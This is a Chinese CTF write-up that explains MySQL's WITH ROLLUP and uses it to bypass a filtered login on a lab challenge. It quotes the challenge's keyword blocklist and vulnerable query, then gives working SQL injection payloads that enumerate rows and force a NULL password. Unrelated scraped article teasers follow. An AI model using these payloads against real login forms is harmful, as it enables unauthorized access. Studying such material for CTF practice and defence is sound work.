sql语法中的中的with rollup
就一道ctf题分析
http://ctf5.shiyanbar.com/web/pcat/index.php
打开一看是个登陆框,首先想到的是盲注,查看源代码,有个源文件,
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
if (mysql_num_rows($query) == 1) {
if($key['pwd'] == $_POST['pwd'])
这几处是关键,基本上过滤完了,不好注入,见有大佬用like 注入查询出了密码,
这题是让客户端的pwd和服务器端的pwd相等便得出flag,
sql中有一个with rollup是用来在分组统计数据的基础上再进行统计汇总,即用来得到group by的汇总信息;
没有with roll对的sql查询
mysql> select count(*),sage from age group by sage;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
+----------+------+
3 rows in set (0.00 sec)
带with roll的查询
mysql> select count(*),sage from age group by sage with rollup;
+----------+------+
| count(*) | sage |
+----------+------+
| 2 | 20 |
| 3 | 21 |
| 3 | 22 |
| 8 | NULL |
+----------+------+
4 rows in set (0.00 sec)
因此这题利用with rollup使得空=null,这样可以绕过密码登陆
if (mysql_num_rows($query) == 1)这里就过不了
首先绕过这个用户名,
uname=ad' || 1 limit 1 #&pwd=
出了 亦可赛艇! 说明成功突破第一层防线
uname=admin' || 1 limit 1 offset 1 #&pwd=
同样 **亦可赛艇! **,这点很关键,说明里面不止一个用户,待会会用到这个。可以把offset(https://blog.csdn.net/yplee_8/article/details/52252549)的值改一下确认只有两个用户
接下来就是如何绕过pwd了,其实就是关键字 with rollup 他经常和group by搭配,用来统计。使用了with rollup数据会多一列,显示统计信息。
uname=ad' || 1 group by pwd with rollup limit 1 offset 2 #&pwd=
group by pwd 是按照pwd来分组,此处是为了搭配 with rollup使用
with rollup 统计pwd组的信息
- with rollup 统计pwd组的信息,这里没用任何统计函数(sum,avg...),多出的那一行的pwd列只能是NULL
多出的那一行的pwd列只能是NULL
NULL和空字符串是相等的。成功绕过
sql语法中的中的with rollup的更多相关文章
- SQLite中不支持的sql语法
今天很自然的在写Sql语句的时候用了Top,一开始没发现问题,因为我从数据库读出的值正好是0,而我习惯变量定义的时候也都赋值0,可是到我不要0的时候我就发现问题了.后来才知道,可爱的小sqlite竟然 ...
- mysql中SQL执行过程详解与用于预处理语句的SQL语法
mysql中SQL执行过程详解 客户端发送一条查询给服务器: 服务器先检查查询缓存,如果命中了缓存,则立刻返回存储在缓存中的结果.否则进入下一阶段. 服务器段进行SQL解析.预处理,在优化器生成对应的 ...
- 【原创】6. 在MYSQL++中实现SQL语法中的NULL
这次要说明的是在MYSQL++中为了实现SQL中的NULL而做出的一系列的举措.我的感觉是Null<T, B>类型通常出现在SSQLS和template Query中比较多. 1. 什么是 ...
- 用SQL实现统计报表中的"小计"与"合计"的方法详解
本篇文章是对使用SQL实现统计报表中的"小计"与"合计"的方法进行了详细的分析介绍,需要的朋友参考下 客户提出需求,针对某一列分组加上小计,合计汇总.网上找 ...
- sql点滴37—mysql中的错误Data too long for column '' at row 1
原文:sql点滴37-mysql中的错误Data too long for column '' at row 1 1.MYSQL服务 我的电脑——(右键)管理——服务与应用程序——服务——MYSQ ...
- SQL点滴32—Excel中CONCATENATE函数生成SQL语句
原文:SQL点滴32-Excel中CONCATENATE函数生成SQL语句 当拿到一个Excel的时候需要将这里面的数据插入到数据库里面,该怎么办,除了使用SSIS数据导入之外还可以使用Excel中的 ...
- SQL点滴18—SqlServer中的merge操作,相当地风骚
原文:SQL点滴18-SqlServer中的merge操作,相当地风骚 今天在一个存储过程中看见了merge这个关键字,第一个想法是,这个是配置管理中的概念吗,把相邻两次的更改合并到一起.后来在tec ...
- 一条SQL语句在MySQL中如何执行的
本篇文章会分析一个 sql 语句在 MySQL 中的执行流程,包括 sql 的查询在 MySQL 内部会怎么流转,sql 语句的更新是怎么完成的. 在分析之前我会先带着你看看 MySQL 的基础架构, ...
- 向SQL Server 现有表中添加新列并添加描述.
注: sql server 2005 及以上支持. 版本估计是不支持(工作环境2005,2008). 工作需要, 需要向SQL Server 现有表中添加新列并添加描述. 从而有个如下存储过程. (先 ...
- 一条SQL语句在MySQL中是如何执行的
概览 本篇文章会分析下一个sql语句在mysql中的执行流程,包括sql的查询在mysql内部会怎么流转,sql语句的更新是怎么完成的. 一.mysql架构分析 mysql主要分为Server层和存储 ...
随机推荐
- Spark的Streaming + Flume进行数据采集(flume主动推送或者Spark Stream主动拉取)
1.针对国外的开源技术,还是学会看国外的英文说明来的直接,迅速,这里简单贴一下如何看: 2.进入到flume的conf目录,创建一个flume-spark-push.sh的文件: [hadoop@sl ...
- sed 详解【转】
原文地址:http://www.cnblogs.com/sparkdev/archive/2017/07/10/7138073.html 基本命令格式 sed [常用选项] 命令文本 输入 常用选项 ...
- js中类定义函数时用prototype与不用的区别
转载自:https://blog.csdn.net/yexudengzhidao/article/details/72866047 先看例子 function ListCommon2(first,se ...
- Ncurses-窗口
前面介绍过标准屏幕 stdscr, stdscr 只是 WINDOW 结构的一个特例. 我们可以使用函数 newwin 和 delwin 来创建和销毁窗口 WINDOW *newwin(int num ...
- bzoj2683&&bzoj4066
题解: 前一题不是强制在线,后一题是强制在线 树套树空间会炸 说一下cdq分治+树状数组 首先我们利用cdq分治使得查询和操作保证先后关系 然后矩阵查询变成4个矩阵的差 那么我们就可以运用扫描线的方法 ...
- python全栈开发day64-模板-变量和(.)的使用,filters和自定义filter
一.上周内容回顾 day64 内容回顾: 1. 所有的django命令 1. 安装 pip install django==1.11.14 pip install -i 源 django==1.11. ...
- Django Models的数据类型汇总
https://blog.csdn.net/devil_2009/article/details/41735611 Django Models的数据类型 汇总 AutoField IntegerFie ...
- MySQL 存储过程中分页
MySQL数据库中,自定义存储过程查询表中的数据,带有分页功能.具体实例如下代码: 1 DROP PROCEDURE IF EXISTS `sampledb`.`proc_GetPagedDataSe ...
- Docker技术底层架构剖析
[Docker 底层技术] docker底层的 2 个核心技术分别是 Namespaces 和 Control groups 在操作系统中,网络配置,进程,用户,IPC(进程之间的调用)等信息之间的 ...
- 关于mac的一些常用操作记录
之前记录过一个关于mac远程连接window机,实现共享文件的记录,今天记录一些常用的操作,会持续更新. 1.谷歌浏览器 f12的操作 command+option+i 打开调试面板 2.打开指定位置 ...